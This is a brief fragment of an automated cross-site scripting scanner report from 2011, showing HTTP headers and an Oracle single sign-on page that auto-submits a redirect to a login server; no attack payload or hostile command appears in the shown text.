HTTP/1.1 200 OK Date: Mon, 17 Oct 2011 11:48:04 GMT Server: Oracle-Application-Server-10g Vary: Host Content-Length: 819 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Redirecting to the Login Server for authentication... <HTML><BODY onLoad="document.LoginForm.submit();"><FORM ACTION="https://login.oracle.com/pls/orasso/orasso.wwsso_app_admin.ls_login" METHOD="GET" ...[SNIP]...
|
Report generated by XSS.CX at Mon Oct 17 09:02:41 CDT 2011.